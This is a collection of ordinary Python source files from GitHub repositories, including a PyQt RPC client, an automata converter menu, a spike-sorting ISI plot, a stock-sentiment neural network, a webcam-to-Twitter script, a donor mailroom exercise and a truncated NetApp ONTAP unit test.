{"seq_id":"5280177559","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fileencoding=utf-8\nimport Window\nimport zerorpc\nimport sys\nimport json\n\nclass Client():\n    def createClient(self, text):\n        c = zerorpc.Client()\n        c.connect(\"tcp://127.0.0.1:4242\")\n        result = c.streaming_range(text)\n        return(result)\n\napp = Window.QtWidgets.QApplication(sys.argv)\nMainWindow = Window.QtWidgets.QMainWindow()\nui = Window.Ui_MainWindow()\nui.setupUi(MainWindow)\n\ndef sendText():\n    text = ui.inputText.text()\n    client = Client()\n    c = client.createClient(text)\n    ui.outputText.setText(c)\n\nt = '{\"C_nkpr\": 16, \"t_vsp\": 16, \"q\": 1.5, \"T\": 120.0, \"V_ap\": 5.0, \"P_2\": 50.0, \"P_1\": 50.0, \"t_r\": 50.0, \"M\": 7.0, \"Q_sg\": 40.0, \"Z\": 0.1, \"r\": 30.0, \"calcObject\": \"EG\"}'\nui.inputText.setText(t)\nui.inputText.editingFinished.connect(sendText)\nMainWindow.show()\nsys.exit(app.exec_())\n","repo_name":"maratmuslimov/novac","sub_path":"textConverterRPC.py","file_name":"textConverterRPC.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"213793810","text":"'''Este archivo es de prueba, primero importamos el paquete automatas y sus módulos y'''\nfrom Pythomatas import *\n\nimport tkinter as tk\nfrom tkinter import filedialog\nfrom tkinter import messagebox\n\ndef imprimir_mensaje(tipo):\n     root = tk.Tk()\n     root.withdraw()\n     if tipo==1:\n         messagebox.showinfo(message=\"¡Elige un nombre para tu AFN!\", title=\"Atención\")\n     else:\n         messagebox.showinfo(message=\"¡Elige un nombre para tu AFD!\", title=\"Atención\")\n     root.destroy()\n\ndef select_save_path(): #Creo que esto se va a dibuja_automata_graphviz\n    root = tk.Tk()\n    root.withdraw()\n    path =  filedialog.asksaveasfile(mode='a',title=\"Guardar archivo DOT\", defaultextension=\".dot\",filetypes=((\"DOT files\", \"*.dot\"),)).name\n    root.destroy()\n    return (path)\n\ndef menu():\n    print(\"1.- AFD\")\n    print(\"2.- AFN\")\n    print(\"3.- Salir\")\n    opcion=input(\"Escribe una opción: \")\n\n    return opcion\n\ndef obtener_datos_afn():\n    '''Esta función sirve para obtener los datos (estados, alfabeto, edo. inicial, edos. aceptores,\n    tabla de transiciones) del AFN (Autómata Finito No determinístico) que se convertirá en AFD.\n    Devuelve una tupla de 5 elementos:\n        pos 0 de la tupla, es una lista que contiene los estados del AFN\n        pos 1 de la tupla, es una lista que contiene el alfabeto del AFN\n        pos 2 de la tupla, es una cadena que contiene el estado inicial del AFN\n        pos 3 de la tupla, es una lista que contiene los estados aceptores del AFN\n        pos 4 de la tupla, es un diccionario que contiene la tabla de transiciones del AFN'''\n    estados = input(\"Introduce los estados (separados por espacios): \").split(\" \")\n    alfabeto = input(\"Introduce el alfabeto (separados por espacios): \").split(\" \")\n    estado_inicial = input(\"Introduce el estado inicial: \")\n    estados_aceptores=input(\"Introduce el/los estado(s) aceptor(es) (separados por espacios): \").split(\" \")\n    tabla={}\n\n    for edo in estados:\n        fila=[]\n        for a in alfabeto:\n            col=input(f\"Introduce la transición de {edo} con {a} (separa con espacios si hay más de un edo. por transición): \").split(\" \")\n            fila.append(tuple(set(col)))\n        tabla[edo]=fila\n\n    return estados,alfabeto,estado_inicial,estados_aceptores,tabla\n\ndef obtener_datos_afd():\n    '''\n    Devuelve una tupla de 5 elementos:\n        pos 0 de la tupla, es una lista que contiene los estados del AFN\n        pos 1 de la tupla, es una lista que contiene el alfabeto del AFN\n        pos 2 de la tupla, es una cadena que contiene el estado inicial del AFN\n        pos 3 de la tupla, es una lista que contiene los estados aceptores del AFN\n        pos 4 de la tupla, es un diccionario que contiene la tabla de transiciones del AFN'''\n    estados = input(\"Introduce los estados (separados por espacios): \").split(\" \")\n    alfabeto = input(\"Introduce el alfabeto (separados por espacios): \").split(\" \")\n    estado_inicial = input(\"Introduce el estado inicial: \")\n    estados_aceptores=input(\"Introduce el/los estado(s) aceptor(es) (separados por espacios): \").split(\" \")\n    tabla={}\n\n    for edo in estados:\n        fila=[]\n        for a in alfabeto:\n            col=input(f\"Introduce la transición de {edo} con {a}: \")\n            fila.append(col)\n        tabla[edo]=fila\n\n    return estados,alfabeto,estado_inicial,estados_aceptores,tabla\n\nif __name__==\"__main__\":\n    ban=True\n    while ban:\n        opc=int(menu())\n        if opc==1:\n            estados, alfabeto, estado_inicial, estados_aceptores, tabla = obtener_datos_afd()\n            imprimir_mensaje(2)\n            archivodot = select_save_path()\n\n            print(\"archivodot\")\n            print(archivodot)\n\n            dibuja_automata_graphviz.archivo_graphviz(alfabeto, estados, estado_inicial, estados_aceptores, tabla, archivodot)\n            cadena = input(\"Escribe la cadena a analizar: \")\n            res=reconocedor.reconocer_cadena(cadena, alfabeto, estado_inicial, estados_aceptores, tabla)\n            if res==True:\n                print(\"Cadena aceptada...\")\n            else:\n                print(\"Cadena no aceptada...\")\n        elif opc==2:\n            estados,alfabeto,estado_inicial,estados_aceptores,tabla=obtener_datos_afn()\n            imprimir_mensaje(1)\n            archivodot=select_save_path()\n            dibuja_automata_graphviz.archivo_graphviz(alfabeto, estados, estado_inicial, estados_aceptores, tabla,archivodot)\n            tablaAFD, estadosAFD, alfabeto, edo_inicial, edos_aceptores = AFN_a_AFD.convertir_AFN_a_AFD(estados, alfabeto, estado_inicial,\n                                                                                   estados_aceptores, tabla)\n            imprimir_mensaje(2)\n            archivodot=select_save_path()\n            dibuja_automata_graphviz.archivo_graphviz(alfabeto, estadosAFD, edo_inicial, edos_aceptores, tablaAFD,archivodot)\n            cadena = input(\"Escribe la cadena a analizar: \")\n            res=reconocedor.reconocer_cadena(cadena, alfabeto, edo_inicial, edos_aceptores, tablaAFD)\n            if res==True:\n                print(\"Cadena aceptada...\")\n            else:\n                print(\"Cadena no aceptada...\")\n        elif opc==3:\n            ban=False\n        else:\n            print(\"Opción incorrecta...\")\n","repo_name":"roberts1985/proyectoLFA","sub_path":"prueba.py","file_name":"prueba.py","file_ext":"py","file_size_in_byte":5283,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26516256158","text":"import numpy as np\nfrom PyQt5 import QtWidgets as widgets\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nfrom scipy.stats import expon, poisson\nfrom scipy.optimize import curve_fit\n\nimport suss.gui.config as config\n\n\nclass ISIPlot(widgets.QFrame):\n\n    def __init__(self, parent=None):\n        super().__init__(parent)\n        self.setup_plots()\n        self.setup_data()\n        self.init_ui()\n        self.parent().UPDATED_CLUSTERS.connect(self.reset)\n        self.parent().CLUSTER_HIGHLIGHT.connect(self.on_cluster_highlight)\n        self.parent().CLUSTER_SELECT.connect(self.on_cluster_select)\n\n    def reset(self, new_dataset, old_dataset):\n        self.ax.clear()\n        self.canvas.draw_idle()\n        self.setup_data()\n\n    @property\n    def dataset(self):\n        return self.parent().dataset\n\n    @property\n    def colors(self):\n        return self.parent().colors\n\n    @property\n    def selected(self):\n        return self.parent().selected\n\n    def setup_plots(self):\n        fig = Figure(facecolor=\"#C0C0C0\")\n        fig.patch.set_alpha(1.0)\n        self.canvas = FigureCanvas(fig)\n        self.canvas.setStyleSheet(\"background-color:transparent;\")\n\n        self.ax = fig.add_axes(\n                [0, 0.15, 1, 0.85],\n                facecolor=\"#C0C0C0\")\n        self.ax.patch.set_alpha(0.8)\n        self.ax.set_xlim(0, config.ISI_MAX)\n        self.ax.set_xticks([0.001, 0.02])\n        self.ax.set_xticklabels(\n                [\"1ms\", \"20ms\"],\n                horizontalalignment=\"center\",\n                fontsize=5)\n        for tick in self.ax.get_xaxis().get_major_ticks():\n            tick.set_pad(0)\n\n        self.text_ax = fig.add_axes(\n                [0, 0, 1, 1],\n                xlim=(0, 1),\n                ylim=(0, 1))\n        self.text_ax.patch.set_alpha(0.0)\n        self.isi_label = self.text_ax.text(\n            0.98,\n            0.95,\n            \"\",\n            horizontalalignment=\"right\",\n            verticalalignment=\"top\",\n            fontsize=8,\n            color=\"White\")\n\n    def setup_data(self):\n        if not len(self.dataset.nodes):\n            self.canvas.draw_idle()\n            return\n\n    def on_cluster_select(self, selected, old_selected):\n        if not len(selected):\n            self.isi_label.set_text(\"\")\n        self.ax.clear()\n        self.ax.set_xlim(0, config.ISI_MAX)\n        self.ax.set_xticks([0.001, 0.02] + ([] if config.ISI_MAX <= 0.1 else [0.1]))\n        self.ax.set_xticklabels(\n                [\"1ms\", \"20ms\"] + ([] if config.ISI_MAX <= 0.1 else [\"100ms\"]),\n                horizontalalignment=\"left\",\n                fontsize=5)\n        for tick in self.ax.get_xaxis().get_major_ticks():\n            tick.set_pad(0)\n\n        self.ax.patch.set_alpha(0.8)\n\n        clusters = self.dataset.select(\n            np.isin(self.dataset.labels, list(selected))\n        ).flatten()\n\n        isi = np.diff(clusters.times)\n        if not len(isi):\n            self.canvas.draw_idle()\n            return\n\n        isi_violations = len(np.where(isi < 0.001)[0]) / len(isi)\n\n        across_clusters = clusters.labels[:-1] != clusters.labels[1:]\n        within_cluster = clusters.labels[:-1] == clusters.labels[1:]\n\n        if not np.sum(across_clusters) + np.sum(within_cluster):\n            self.canvas.draw_idle()\n            return\n\n        tdur = np.max(clusters.times) - np.min(clusters.times)\n        fr = len(clusters) / tdur\n\n        # calculate q metric\n        REFTIME = 0.002 # Refractory time in s\n        HISTIME = 0.1 # Length of histogram to estimate exponential\n        HISTIMEMIN = 0.01 # Starting isi time point for exponential fit\n        def expfun(x, l):\n            return (l* np.exp(-l*x))\n        \n        p, xbin = np.histogram(isi, bins=100, range = (0,HISTIME), density = True)\n        xval = (xbin + np.roll(xbin, -1))/2.0\n        xval = xval[0:-1]\n        # fit section beyond 10 ms with exponential\n        if (np.any(~np.isnan(p[xval > HISTIMEMIN]))):\n            lfit, _ = curve_fit(expfun, xval[xval > HISTIMEMIN], p[xval > HISTIMEMIN])\n            nevent = np.sum(isi < REFTIME)\n            pPoisson = poisson.pmf(nevent, lfit[0]*tdur)\n            QIndex = nevent/(lfit[0]*tdur)\n            Qstr = \"\\nPoisson prob = {:.1f}%\\nQ Index = {:.1e}\".format(100.0 * pPoisson, QIndex)\n        else:\n            pPoisson = None\n            QIndex = None\n            Qstr = \"\"\n\n\n        self.ax.hist(\n            [\n                isi[across_clusters],\n                isi[within_cluster]\n            ],\n            bins=config.ISI_BINS,\n            density=True,\n            range=(0, config.ISI_MAX),\n            stacked=True,\n            alpha=0.8,\n            color=[\"Orange\", \"Black\"]\n        )\n        self.ax.vlines(\n                0.001,\n                *self.ax.get_ylim(),\n                color=\"Red\",\n                linestyle=\"--\",\n                linewidth=0.5)\n\n        if len(isi[across_clusters]):\n            isi_violations_across = (\n                    len(np.where(isi[across_clusters] < 0.001)[0]) /\n                    len(isi[across_clusters])\n            )\n            self.isi_label.set_text(\n                    \"{:.1f}% ISI violations\\np = {:.1f}%\\n{:.1f}% across clusters{}\".format(\n                    100.0 * isi_violations,\n                    100 * (1 - np.exp(-fr * 0.001)),\n                    100.0 * isi_violations_across,\n                    Qstr\n                )\n            )\n        else:\n            self.isi_label.set_text(\n                \"{:.1f}% ISI violations\\np = {:.1f}%{}\".format(\n                    100.0 * isi_violations,\n                    100 * (1 - np.exp(-fr * 0.001)),\n                    Qstr\n                )\n            )\n\n        self.canvas.draw_idle()\n\n    def on_cluster_highlight(self, new_highlight, old_highlight, temporary):\n        pass\n\n    def init_ui(self):\n        layout = widgets.QVBoxLayout()\n        layout.addWidget(self.canvas)\n        self.setLayout(layout)\n","repo_name":"theunissenlab/suss-sorter","sub_path":"suss/gui/isi.py","file_name":"isi.py","file_ext":"py","file_size_in_byte":5991,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"71586501220","text":"# %%\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport shap\nfrom helpers import lr_finder\nfrom sklearn.preprocessing import StandardScaler\nimport tensorflow as tf\nimport optuna\nimport numpy as np\nfrom sklearn.metrics import accuracy_score, classification_report\nimport pandas as pd\nfrom helpers.preprocessing import load_and_join_for_modeling, train_val_test_split\nfrom rich.console import Console\nc = Console(highlight=False)\nroot_path = \"../\"\ntickers = [\"TSLA\", \"AAPL\", \"AMZN\", \"FB\", \"MSFT\", \"TWTR\", \"AMD\", \"NFLX\", \"NVDA\", \"INTC\"]\n\n# %%\nticker = \"AMD\"\n\nSENTI = 'ml_sentiment'\n# SENTI = 'vader'\n\ndf: pd.DataFrame = load_and_join_for_modeling(ticker, SENTI)\n\n\ndf.label = df.label > 0\n\n# %%\nfor i in range(2, 6):\n    df[f'return_lag{i}'] = df['return'].shift(i)    # TODO: Feature Engineering?\n    df[f'senti_lag{i}'] = df[SENTI].shift(i)    # TODO: Feature Engineering?\n    df[f'ma_{i}'] = df['return'].rolling(i).mean()  # TODO: Feature Engineering?\n    df[f'ms_{i}'] = df[SENTI].rolling(i).mean()  # TODO: Feature Engineering?\n\ndf = df.fillna(0)\n\n\ndef days_in_trend(returns):\n    res = [0]\n    for idx, currval in enumerate(returns):\n        sign_t = np.sign(currval)\n        sign_t_1 = np.sign(returns[idx-1 if idx > 0 else 0])\n        if sign_t == sign_t_1:  # or sign_t == 0 or sign_t_1 == 0:\n            res.append(res[-1]+1)\n        else:\n            res.append(0)\n    return res[1:]\n\n\n# df = df.assign(diff=df.pct_pos - df.pct_neg)\n# df = df.assign(ratio=df.pct_pos/(df.pct_neg+1e-6))\ndf = df.assign(days_in_trend=days_in_trend(df['return']))\ndf = df.assign(dow=df.index.weekday)\ndf = df.assign(moy=df.index.month)\ncat_fts = ['dow', 'moy']\ndf[cat_fts] = df[cat_fts].astype('category')\n\n\n#############################################\n# df = df.drop(SENTI, axis=1)\n#############################################\n\n\nnum_fts = [col for col in df.columns.drop('label') if col not in cat_fts]\n# %%\nxtrain, ytrain, xval, yval, xtest, ytest = train_val_test_split(df)\n\n# %%\nss = StandardScaler()\nss.fit(xtrain[num_fts])\n\n# %%\nxtrain_ss = xtrain.copy()\nxtrain_ss[num_fts] = ss.transform(xtrain[num_fts])\nxval_ss = xval.copy()\nxval_ss[num_fts] = ss.transform(xval[num_fts])\nxtest_ss = xtest.copy()\nxtest_ss[num_fts] = ss.transform(xtest[num_fts])\n\n#%%\n\n\ndef scheduler(ep, _lr=None):\n    mini = 10**-2\n    maxi = 10**-1\n    total_epochs = 100\n    lrs = np.linspace(mini, maxi, int(total_epochs/2)+1)\n    return lrs[ep] if ep < total_epochs/2 else lrs[total_epochs - ep]\n\n\nxs = np.arange(0, 100)\nys = [scheduler(x) for x in xs]\nplt.plot(xs, ys)\n\n\n\n# %%\ndef get_net(dropout=0.2, l2=0.01, act='relu', units1=32, units2=16, lr=3e-4, optim='adam'):\n\n    net = tf.keras.Sequential([\n        tf.keras.layers.Dense(units1, activation=act, kernel_regularizer=tf.keras.regularizers.l2(l2)),\n        tf.keras.layers.Dropout(dropout),\n        # tf.keras.layers.BatchNormalization(),\n        # tf.keras.layers.Dense(units2, activation=act, kernel_regularizer=tf.keras.regularizers.l2(l2)),\n        # tf.keras.layers.Dropout(dropout),\n        # tf.keras.layers.BatchNormalization(),\n        tf.keras.layers.Dense(1, activation='sigmoid'),\n    ])\n\n    optim = tf.keras.optimizers.Adam(10**-2) # if optim == 'adam' else tf.keras.optimizers.SGD(10**-2) if optim == 'sgd' else None\n\n    net.compile(optim, 'binary_crossentropy', metrics=['accuracy'],)\n    return net\n\n\n# %%\ntf.random.set_seed(42)\n\n\ndef objective(trial):\n    params = dict(\n        dropout=trial.suggest_float('dropout', 0, 1),\n        l2=trial.suggest_float('l2', 1e-5, 1, log=True),\n        act=trial.suggest_categorical('act', ['sigmoid', 'relu', 'tanh']),\n        #optim=trial.suggest_categorical('optim', ['adam', 'sgd']),\n    )\n\n    net = get_net(units1=64, units2=64, **params)\n\n    epochs = 100\n    hist = net.fit(\n        x=xtrain_ss.values,\n        y=ytrain.values.astype('int'),\n        batch_size=32,\n        validation_data=(xval_ss.values, yval.values.astype('int')),\n        epochs=epochs,\n        verbose=True,\n        callbacks=[\n            # tf.keras.callbacks.LearningRateScheduler(scheduler),\n            # tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=50, restore_best_weights=True),\n            tf.keras.callbacks.ModelCheckpoint('kerastrash/model', monitor='val_accuracy', save_best_only=True, save_weights_only=True)\n        ],\n        workers=-1\n\n    )\n\n    net.load_weights(\"kerastrash/model\")\n    preds = net.predict(xval_ss) > 0.5\n    return accuracy_score(yval, preds)\n\n\nsampler = optuna.samplers.TPESampler(seed=42)\nstudy = optuna.create_study(direction='maximize', sampler=sampler)\nstudy.optimize(objective, n_trials=25)\n\n\n# %%\n\nnet = get_net(units1=64, units2=64, optim='adam')\n\nnet.build(input_shape=xtrain_ss.shape)\nnet.fit(xtrain_ss, ytrain, callbacks=[lr_finder.LRFinder(1e-4, 1)], epochs=10)\n\n\n\n\n# %%\nnet = get_net(units1=64, units2=64, **study.best_params)\n# net = get_net(units1=64, units2=64)\n# net.compile(\"SGD\", 'binary_crossentropy', metrics=['accuracy'],)\n\nhist = net.fit(\n    x=xtrain_ss,\n    y=ytrain,\n    # x=np.vstack((xtrain_ss.values, xval_ss.values)),\n    # y=np.hstack((ytrain.values, yval.values)),\n    validation_data=(xval_ss, yval),\n    # validation_split=0.2,\n    batch_size=32,\n    epochs=100,\n    callbacks=[\n        # tf.keras.callbacks.LearningRateScheduler(scheduler),\n        # tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=50, restore_best_weights=True),\n        tf.keras.callbacks.ModelCheckpoint('kerastrash/model', monitor='val_accuracy', save_best_only=True, save_weights_only=True)\n        ],\n\n)\n\n# %%\nnet.load_weights('kerastrash/model')\n\npd.DataFrame({'train_loss': hist.history['loss'], 'val_loss': hist.history['val_loss']}).plot()\nprint(classification_report(ytest, net.predict(xtest_ss.values) > 0.5))\n\n#%%\npreds = net.predict(xtest_ss.values)\nsorted_idx = np.argsort(preds.ravel())\nplt.scatter(np.arange(len(preds)), preds[sorted_idx], color=['green' if x else 'red' for x in ytest[sorted_idx]], alpha=0.3)\n# %%\nhist = net.fit(\n    x=np.vstack((xtrain_ss.values, xval_ss.values)),\n    y=np.hstack((ytrain.values, yval.values)),\n    # validation_data=(xval_ss, yval),\n    batch_size=8,\n    epochs=100,\n    # callbacks=[tf.keras.callbacks.EarlyStopping(patience=50, restore_best_weights=True)],\n\n)\nprint(classification_report(ytest, net.predict(xtest_ss.values) > 0.5))\n\n# %%\nexp = shap.explainers.Sampling(net.predict, xtest_ss)\nsv = exp.shap_values(xtest_ss)\n\n# %%\nshap.partial_dependence_plot(\"num_tweets\", lambda x: net.predict(x).squeeze(), xtest_ss, ice=False, model_expected_value=True, feature_expected_value=True)\n\n# %%\nshap.summary_plot(sv, xtest_ss)\n\n\n# TODO: Does DL beat LGBM\n","repo_name":"moritzwilksch/SocialMediaBusinessAnalytics","sub_path":"10_code/110_DL_model.py","file_name":"110_DL_model.py","file_ext":"py","file_size_in_byte":6646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"30487053812","text":"#! /usr/bin/python3 -u\n# -*- coding: utf-8 -*-\n\n\"\"\"\nBased in:\nhttp://stackoverflow.com/questions/15870619/python-webcam-http-streaming-and-image-capture\n\"\"\"\n\nHOMEDIR = \"/home/pi\"\n\nimport pygame\nimport pygame.camera\nimport time\nimport sys\nimport os\nimport twitter\nimport ConfigParser\nimport datetime\n\n# test machine?\nif os.uname()[1] == 'elxaf7qtt32':\n    # my laptop\n    HOMEDIR = \"/home/ehellou\"\nelse:\n    HOMEDIR=os.getenv('HOME')\n\n\nconfiguration = f\"{HOMEDIR}/.twitterc\"\nagenda = f\"{HOMEDIR}/pyconse.agenda\"\nSAVEDIR = f\"{HOMEDIR}/pyconse\"\n\ndef get_content():\n    if not os.path.exists(agenda):\n        return None\n    fd = open(agenda)\n    timestamp = time.strftime(\"%Y-%m-%d\", time.localtime())\n    YYYY = int(time.strftime(\"%Y\", time.localtime()))\n    MM = int(time.strftime(\"%m\", time.localtime()))\n    DD = int(time.strftime(\"%d\", time.localtime()))\n    now = datetime.datetime.now()\n    for line in fd.readlines():\n        print(line)\n        if not line[0] == '2':\n            continue\n        try:\n            tmstp_date, tmstp_timeslot, tmstp_info = line.split(\",\")\n        except:\n            continue\n        # not same day?  move forward\n        if tmstp_date != timestamp:\n            print(\"No date\")\n            continue\n\n        tmstp_begin, tmstp_end = tmstp_timeslot.split(\"-\")\n        h_beg, m_beg = tmstp_begin.split(\":\")\n        beg = datetime.datetime(YYYY, MM, DD, int(h_beg), int(m_beg))\n        delta = now - beg\n\n        # before time?\n        if delta.days < 0:\n            print(\"It didn't start yet.\")\n            continue\n\n        h_end, m_end = tmstp_end.split(\":\")\n        end = datetime.datetime(YYYY, MM, DD, int(h_end), int(m_end))\n        delta = end - now\n        if delta.days < 0:\n            print(\"It already finished\")\n            continue\n\n        tmstp_info = tmstp_info.rstrip()\n        if tmstp_info == \"EMPTY\":\n            print(\"Got empty\")\n            return None\n        print(f\"Got here, so sending back \\\"{tmstp_info}\\\"\" )\n        return tmstp_info\n\ndef TweetPhoto():\n    \"\"\"\n    \"\"\"\n    print(\"Pygame init\")\n    pygame.init()\n    print(\"Camera init\")\n    pygame.camera.init()\n    # you can get your camera resolution by command \"uvcdynctrl -f\"\n    cam = pygame.camera.Camera(\"/dev/video1\", (1280, 720))\n\n    print(\"Camera start\")\n    cam.start()\n    time.sleep(1)\n    print(\"Getting image\")\n    image = cam.get_image()\n    time.sleep(1)\n    print(\"Camera stop\")\n    cam.stop()\n\n    if not os.path.exists(SAVEDIR):\n        os.makedirs(SAVEDIR)\n    timestamp = time.strftime(\"%Y-%m-%d_%H%M%S\", time.localtime())\n    year = time.strftime(\"%Y\", time.localtime())\n    filename = f\"{SAVEDIR}/{timestamp}.jpg\"\n    print(f\"Saving file {filename}\")\n    pygame.image.save(image, filename)\n\n    cfg = ConfigParser.ConfigParser()\n    print(f\"Reading configuration: {configuration}\")\n    if not os.path.exists(configuration):\n        print(\"Failed to find configuration file {configuration}\")\n        sys.exit(1)\n    cfg.read(configuration)\n    cons_key = cfg.get(\"TWITTER\", \"CONS_KEY\")\n    cons_sec = cfg.get(\"TWITTER\", \"CONS_SEC\")\n    acc_key = cfg.get(\"TWITTER\", \"ACC_KEY\")\n    acc_sec = cfg.get(\"TWITTER\", \"ACC_SEC\")\n\n    print(\"Autenticating in Twitter\")\n    # App python-tweeter\n    # https://dev.twitter.com/apps/815176\n    tw = twitter.Api(\n        consumer_key = cons_key,\n        consumer_secret = cons_sec,\n        access_token_key = acc_key,\n        access_token_secret = acc_sec\n        )\n    print(\"Posting...\")\n    msg = get_content()\n    if not msg:\n        now = time.strftime(\"%H:%M\", time.localtime())\n        msg = (f\"Just another shot at {now}\")\n            \n    if msg:\n        msg = f\"{msg} #pyconse\"\n        print(msg)\n        try:\n            tw.PostMedia(status = msg,media = filename)\n            print(\"done!\")\n        except:\n            None\n    else:\n        print(\"no message available\")\n    #print \"Removing media file %s\" % filename\n    #os.unlink(filename)\n\n\nif __name__ == '__main__':\n    try:\n        TweetPhoto()\n    except KeyboardInterrupt:\n        sys.exit(0)\n","repo_name":"helioloureiro/snapshot-twitter-mastodon","sub_path":"snapshot-twitter-mastodon.py","file_name":"snapshot-twitter-mastodon.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"111503960","text":"#!/usr/bin/env python3\n# ---------------------------------------------------------------------------- #\n# Title: Lesson 03\n# Description: Mailroom Part 1\n# ChangeLog (Who,When,What):\n# Kate Golenkova, 10/20/2020, Created script\n# Kate Golenkova, 10/23/2020, Changed script\n# Kate Golenkova, 10/26/2020, Changed script\n# ---------------------------------------------------------------------------- #\nimport sys\n# Data ----------------------------------------------------------------------- #\n# Variables ------------------------------------------------------------------ #\nfull_list = [\n            [ \"John Smith\", [30.00, 50.00]],\n            [ \"Tom Brown\", [8.00, 12.00]],\n            [ \"Emma Dall\", [25.00, 50.00, 100.00]],\n            [ \"Greg Stern\", [10.00, 20.00, 10.00]],\n            [ \"Andrew Brugge\", [15.00]]\n            ]\n\n# Functions for block Thank You ----------------------------------------------- #\ndef check_name(full_name):\n    for i in full_list:\n        if full_name == i[0]:\n            return True\n\n\ndef add_name(full_name):\n    name = [full_name, []]\n    full_list.append(name)\n    print(\"New donor \" + str(name[0]) + \" has been added to the list of donors\")\n\n\ndef add_donation(full_name):\n    donation = float(input(\"Please type a donation amount: \"))\n    for i in full_list:\n        if full_name == i[0]:\n            i[1].append(donation)\n    print(\"New donation amount has been added\")\n    print(\"This email has been sent to {}\".format(full_name))\n\n\ndef send_email(full_name):\n    print('''\n            Dear {},\n\n            Thank you so much for your generous donation!\n            We are so thankful that you have helped us.\n\n            Please let us know if you have any questions.\n            _____________________________________________\n         '''.format(full_name))\n\n\ndef thank_you():\n    while True:\n        full_name = input(\"Please provide full name of donor, type 'list' to see all donors or 'exit' to get back to the Menu: \").title()\n        if full_name.lower() == \"list\":\n            print(\"Full list of donors: \")\n            for i in full_list:\n                print(i[0])\n\n        elif full_name.lower() == \"exit\":\n            break\n\n        else:\n            if check_name(full_name):\n                print(\"This donor is in the list.\")\n            else:\n                add_name(full_name)\n\n            add_donation(full_name)\n            send_email(full_name)\n            break\n\n# Functions for block Create Report ------------------------------------------ #\ndef create_report():\n    print(\"\\n{:20} | {:10} | {:10} | {:10}\".format(\"Donor Name\", \"Total Given\", \"Num Gifts\", \"Average Gift\"))\n    print(\"_\"*62)\n    full_list.sort(key=lambda x: -sum(x[1]))\n    for i in full_list:\n        total_given = sum(i[1])\n        num_gifts = len(i[1])\n        average = total_given/num_gifts\n\n        print(\"\\n{:20} | {:10} | {:10} | {:10.2f}\".format(i[0], total_given, num_gifts, average))\n        print(\"-\" * 62)\n\n\n# Function to exit the program ----------------------------------------------- #\ndef exit_program():\n    print(\"Exiting the program\")\n    sys.exit()\n\n# Main Script ---------------------------------------------------------------- #\n\n# While loop to display Menu with options\ndef main():\n    while True:\n        # Menu options\n        print('''\n            Please choose from below options:\n            \n                1. Send a Thank You\n                2. Create a Report\n                3. Quit\n\n        ''')\n        choice = input(\"Enter an Option: \")\n        if choice == \"1\":\n            thank_you()\n        elif choice == \"2\":\n            print(\"Full report: \")\n            create_report()\n        elif choice == \"3\":\n            exit_program()\n        else:\n            print(\"Please use any number from 1 to 3\")\n\nif __name__ == \"__main__\":\n    main()\n\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/kgolenk/lesson03/mailroom.py","file_name":"mailroom.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"30308914030","text":"# (c) 2021-2023, NetApp, Inc\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n''' unit tests ONTAP Ansible module: na_ontap_security_config '''\nfrom __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\nimport pytest\n\nimport ansible_collections.netapp.ontap.plugins.module_utils.netapp as netapp_utils\n# pylint: disable=unused-import\nfrom ansible_collections.netapp.ontap.tests.unit.plugins.module_utils.ansible_mocks import set_module_args,\\\n    call_main, create_module, create_and_apply, expect_and_capture_ansible_exception, AnsibleFailJson, patch_ansible\nfrom ansible_collections.netapp.ontap.tests.unit.framework.mock_rest_and_zapi_requests import patch_request_and_invoke, register_responses, get_mock_record\nfrom ansible_collections.netapp.ontap.tests.unit.framework.zapi_factory import build_zapi_response, zapi_responses\nfrom ansible_collections.netapp.ontap.tests.unit.framework.rest_factory import rest_responses\n\nfrom ansible_collections.netapp.ontap.plugins.modules.na_ontap_security_config \\\n    import NetAppOntapSecurityConfig as security_config_module, main as my_main  # module under test\n\n\nif not netapp_utils.has_netapp_lib():\n    pytestmark = pytest.mark.skip('skipping as missing required netapp_lib')\n\n# REST API canned responses when mocking send_request\nSRR = rest_responses({\n    # module specific responses\n    'security_config_record': (200, {\n        \"records\": [{\n            \"is_fips_enabled\": False,\n            \"supported_protocols\": ['TLSv1.3', 'TLSv1.2', 'TLSv1.1'],\n            \"supported_cipher_suites\": 'TLS_RSA_WITH_AES_128_CCM_8'\n        }], \"num_records\": 1\n    }, None),\n    \"no_record\": (\n        200,\n        {\"num_records\": 0},\n        None)\n})\n\n\nsecurity_config_info = {\n    'num-records': 1,\n    'attributes': {\n        'security-config-info': {\n            \"interface\": 'ssl',\n            \"is-fips-enabled\": False,\n            \"supported-protocols\": ['TLSv1.2', 'TLSv1.1'],\n            \"supported-ciphers\": 'ALL:!LOW:!aNULL:!EXP:!eNULL:!3DES:!DES:!RC4'\n        }\n    },\n}\n\n\nZRR = zapi_responses({\n    'security_config_info': build_zapi_response(security_config_info)\n})\n\n\nDEFAULT_ARGS = {\n    'hostname': 'hostname',\n    'username': 'username',\n    'password': 'password',\n    'use_rest': 'never',\n}\n\n\ndef test_module_fail_when_required_args_missing():\n    ''' required arguments are reported as errors '''\n    with pytest.raises(AnsibleFailJson) as exc:\n        set_module_args({})\n        security_config_module()\n    print('Info: %s' % exc.value.args[0]['msg'])\n\n\ndef test_error_get_security_config_info():\n    register_responses([\n        ('ZAPI', 'security-config-get', ZRR['error'])\n    ])\n    module_args = {\n        \"name\": 'ssl',\n        \"is_fips_enabled\": False,\n        